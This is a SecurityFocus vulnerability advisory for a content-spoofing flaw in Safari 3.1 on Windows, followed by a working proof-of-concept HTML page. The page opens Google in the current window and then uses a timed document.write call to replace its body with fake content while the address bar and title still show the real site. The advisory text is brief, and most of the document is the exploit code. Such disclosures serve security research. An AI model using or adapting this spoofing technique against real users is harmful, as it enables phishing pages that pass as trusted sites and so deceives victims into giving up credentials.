source: http://www.securityfocus.com/bid/28405/info

Apple Safari is prone to a content-spoofing vulnerability that allows attackers to populate a vulnerable Safari browser window with arbitrary malicious content. During such an attack, the URL and window title will display the intended site, while the body of the webpage is spoofed.

Safari 3.1 running on Microsoft Windows is reported vulnerable.

NOTE: This issue may be related to the vulnerability discussed in BID 24457 (Apple Safari for Windows Window.setTimeout Content Spoofing Vulnerability). 

<html> Safari browser 3.1 (525.13) spoofing by Juan Pablo Lopez Yacubian <html> <head> <title>Recipe 6.6</title> <script type="text/javascript"> var newWindow; function makeNewWindow() { if (!newWindow || newWindow.closed) { newWindow = window.open('http://www.google.com.ar/','_self'); setTimeout("writeToWindow()", 50); } else if (newWindow.focus) { newWindow.focus(); } } function writeToWindow() { var newContent = "<html><head><title>Google</title></head>"; newContent += "<body> <h1>FAKE PAGE</h1>"; newWindow.document.write(newContent); newWindow.document.close(); } </script> </head> <body> <form> <input type="button" value="test spoof!" onclick="makeNewWindow();"/> </form> </body> </html> 